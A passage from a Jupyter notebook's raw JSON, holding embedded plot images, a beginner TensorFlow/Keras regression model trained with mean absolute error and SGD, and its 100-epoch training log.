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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "y_pred=model.predict(X_test)\n", - "plt.figure(figsize=(12,8))\n", - "plt.plot(y_test)\n", - "plt.plot(y_pred)" - ] - }, - { - "cell_type": "code", - "execution_count": 52, - "id": "c1527ef5", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/100\n", - "1/1 [==============================] - 0s 296ms/step - loss: 132.3314 - mae: 132.3314\n", - "Epoch 2/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 238.1958 - mae: 238.1958\n", - "Epoch 3/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 138.0000 - mae: 138.0000\n", - "Epoch 4/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.9900 - mae: 137.9900\n", - "Epoch 5/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.9800 - mae: 137.9800\n", - "Epoch 6/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 137.9700 - mae: 137.9700\n", - "Epoch 7/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.9600 - mae: 137.9600\n", - "Epoch 8/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 137.9500 - mae: 137.9500\n", - "Epoch 9/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.9400 - mae: 137.9400\n", - "Epoch 10/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.9300 - mae: 137.9300\n", - "Epoch 11/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.9200 - mae: 137.9200\n", - "Epoch 12/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.9100 - mae: 137.9100\n", - "Epoch 13/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 137.9000 - mae: 137.9000\n", - "Epoch 14/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.8900 - mae: 137.8900\n", - "Epoch 15/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.8800 - mae: 137.8800\n", - "Epoch 16/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.8700 - mae: 137.8700\n", - "Epoch 17/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.8600 - mae: 137.8600\n", - "Epoch 18/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 137.8500 - mae: 137.8500\n", - "Epoch 19/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.8400 - mae: 137.8400\n", - "Epoch 20/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.8300 - mae: 137.8300\n", - "Epoch 21/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.8200 - mae: 137.8200\n", - "Epoch 22/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.8100 - mae: 137.8100\n", - "Epoch 23/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.8000 - mae: 137.8000\n", - "Epoch 24/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 137.7900 - mae: 137.7900\n", - "Epoch 25/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.7800 - mae: 137.7800\n", - "Epoch 26/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.7700 - mae: 137.7700\n", - "Epoch 27/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.7600 - mae: 137.7600\n", - "Epoch 28/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.7500 - mae: 137.7500\n", - "Epoch 29/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.7400 - mae: 137.7400\n", - "Epoch 30/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 137.7300 - mae: 137.7300\n", - "Epoch 31/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.7200 - mae: 137.7200\n", - "Epoch 32/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.7100 - mae: 137.7100\n", - "Epoch 33/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.7000 - mae: 137.7000\n", - "Epoch 34/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.6900 - mae: 137.6900\n", - "Epoch 35/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.6800 - mae: 137.6800\n", - "Epoch 36/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.6700 - mae: 137.6700\n", - "Epoch 37/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 137.6600 - mae: 137.6600\n", - "Epoch 38/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.6500 - mae: 137.6500\n", - "Epoch 39/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.6400 - mae: 137.6400\n", - "Epoch 40/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.6300 - mae: 137.6300\n", - "Epoch 41/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.6200 - mae: 137.6200\n", - "Epoch 42/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 137.6100 - mae: 137.6100\n", - "Epoch 43/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 137.6000 - mae: 137.6000\n", - "Epoch 44/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 137.5900 - mae: 137.5900\n", - "Epoch 45/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 137.5800 - mae: 137.5800\n", - "Epoch 46/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.5700 - mae: 137.5700\n", - "Epoch 47/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.5600 - mae: 137.5600\n", - "Epoch 48/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.5500 - mae: 137.5500\n", - "Epoch 49/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.5400 - mae: 137.5400\n", - "Epoch 50/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 137.5300 - mae: 137.5300\n", - "Epoch 51/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.5200 - mae: 137.5200\n", - "Epoch 52/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.5100 - mae: 137.5100\n", - "Epoch 53/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.5000 - mae: 137.5000\n", - "Epoch 54/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.4900 - mae: 137.4900\n", - "Epoch 55/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.4800 - mae: 137.4800\n", - "Epoch 56/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 137.4700 - mae: 137.4700\n", - "Epoch 57/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.4600 - mae: 137.4600\n", - "Epoch 58/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.4500 - mae: 137.4500\n", - "Epoch 59/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 137.4400 - mae: 137.4400\n", - "Epoch 60/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.4300 - mae: 137.4300\n", - "Epoch 61/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.4200 - mae: 137.4200\n", - "Epoch 62/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 137.4100 - mae: 137.4100\n", - "Epoch 63/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.4000 - mae: 137.4000\n", - "Epoch 64/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.3900 - mae: 137.3900\n", - "Epoch 65/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.3800 - mae: 137.3800\n", - "Epoch 66/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.3700 - mae: 137.3700\n", - "Epoch 67/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.3600 - mae: 137.3600\n", - "Epoch 68/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.3500 - mae: 137.3500\n", - "Epoch 69/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.3400 - mae: 137.3400\n", - "Epoch 70/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.3300 - mae: 137.3300\n", - "Epoch 71/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.3200 - mae: 137.3200\n", - "Epoch 72/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 137.3100 - mae: 137.3100\n", - "Epoch 73/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 137.3000 - mae: 137.3000\n", - "Epoch 74/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.2900 - mae: 137.2900\n", - "Epoch 75/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.2800 - mae: 137.2800\n", - "Epoch 76/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 137.2700 - mae: 137.2700\n", - "Epoch 77/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 137.2600 - mae: 137.2600\n", - "Epoch 78/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.2500 - mae: 137.2500\n", - "Epoch 79/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.2400 - mae: 137.2400\n", - "Epoch 80/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.2300 - mae: 137.2300\n", - "Epoch 81/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.2200 - mae: 137.2200\n", - "Epoch 82/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.2100 - mae: 137.2100\n", - "Epoch 83/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.2000 - mae: 137.2000\n", - "Epoch 84/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 137.1900 - mae: 137.1900\n", - "Epoch 85/100\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 5ms/step - loss: 137.1800 - mae: 137.1800\n", - "Epoch 86/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.1700 - mae: 137.1700\n", - "Epoch 87/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 137.1600 - mae: 137.1600\n", - "Epoch 88/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 137.1500 - mae: 137.1500\n", - "Epoch 89/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.1400 - mae: 137.1400\n", - "Epoch 90/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 137.1300 - mae: 137.1300\n", - "Epoch 91/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 137.1200 - mae: 137.1200\n", - "Epoch 92/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.1100 - mae: 137.1100\n", - "Epoch 93/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 137.1000 - mae: 137.1000\n", - "Epoch 94/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 137.0900 - mae: 137.0900\n", - "Epoch 95/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.0800 - mae: 137.0800\n", - "Epoch 96/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 137.0700 - mae: 137.0700\n", - "Epoch 97/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.0600 - mae: 137.0600\n", - "Epoch 98/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 137.0500 - mae: 137.0500\n", - "Epoch 99/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.0400 - mae: 137.0400\n", - "Epoch 100/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 137.0300 - mae: 137.0300\n" - ] - }, - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 52, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Create model using sequential API\n", - "model=tf.keras.Sequential([tf.keras.layers.Dense(100,activation=\"relu\"),tf.keras.layers.Dense(1, input_shape=[1])]) # 1 for taking one input and predicting 1 output\n", - "\n", - "# Compile the model\n", - "model.compile(loss=tf.keras.losses.mae, optimizer=tf.keras.optimizers.SGD(), metrics=[\"mae\"])\n", - "# mae = mean absolute error \n", - "#Fit the model\n", - "model.fit(X_train,y_train,epochs=100, verbose=1) # epochs = oppurtuinity" - ] - }, - { - "cell_type": "code", - "execution_count": 53, - "id": "e34285eb", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "[]" - ] - }, - "execution_count": 53, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "iVBORw0KGgoAAAANSUhEUgAAAsYAAAHSCAYAAADvxw2lAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuNCwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8QVMy6AAAACXBIWXMAAAsTAAALEwEAmpwYAAA4F0lEQVR4nO3deXSc5Z3g+++j3fIm75YtqWzwvoONLQcSCEswOyRAINhk5iaXOzPpNb2EdCfdPZ1ON9PTk5n5Y+aekzPTd0LJOJiENZ2EEOiEdLdKtmxjMMaAAZc22/K+a3/uH67udhIDtpH8avl+zuGU6q2S9ONBlr68fp9SiDEiSZIkDXV5SQ8gSZIk9QeGsSRJkoRhLEmSJAGGsSRJkgQYxpIkSRJgGEuSJEkAFCQ9AMD48ePjtGnTkh5DkiRJg9ymTZv2xxgnnO2xfhHG06ZNo76+PukxJEmSNMiFELLv95iXUkiSJEkYxpIkSRJgGEuSJEmAYSxJkiQBhrEkSZIEGMaSJEkSYBhLkiRJgGEsSZIkAYaxJEmSBBjGkiRJEmAYS5IkScA5hnEIYVcI4bUQwishhPrcsbEhhBdCCG/nbsec8fyvhhB2hhDeDCHc2FfDS5IkSb3lfM4YfzLGuCTGuCx3/2HgxRjjTODF3H1CCPOA+4D5wCrgf4YQ8ntxZkmSJKnXfZRLKe4AvpN7+zvAnWcc/26MsT3G+B6wE1j+ET6PJEmS1OfONYwj8JMQwqYQwkO5Y5NijLsBcrcTc8enAo1nvG9T7tgvCSE8FEKoDyHU79u378KmlyRJknpJwTk+78oYY0sIYSLwQghhxwc8N5zlWPy1AzF+G/g2wLJly37tcUmSJOliOqczxjHGltxtK/AUpy+N2BtCKAfI3bbmnt4EVJ7x7hVAS28NLEmSpIGt6dBJYux/50U/NIxDCMNDCCP/+W3gU8A24Fng87mnfR54Jvf2s8B9IYTiEMJ0YCawobcHlyRJ0sDR3RN5YfteHvzbDVz1n/6ezQ2Hkx7p15zLpRSTgKdCCP/8/MdijD8OIWwE1ocQvgA0APcAxBhfDyGsB7YDXcCXYozdfTK9JEmS+rX9x9t5fGMjj9U10Hz4FJNGFfO718+iamxp0qP9mtAfTmMvW7Ys1tfXJz2GJEmSekGMkU3ZQ6QzWX742m46uyNXzhjHmuoU182dRGF+cr9jLoSw6YyXH/4l57r5TpIkSfpAJ9q7ePqVZtK1WXbsOcbI4gIeWJFidXWKGRNHJD3ehzKMJUmS9JG8vfcYNZks39/czPH2LuaWj+Iv71rInZdNobRo4OT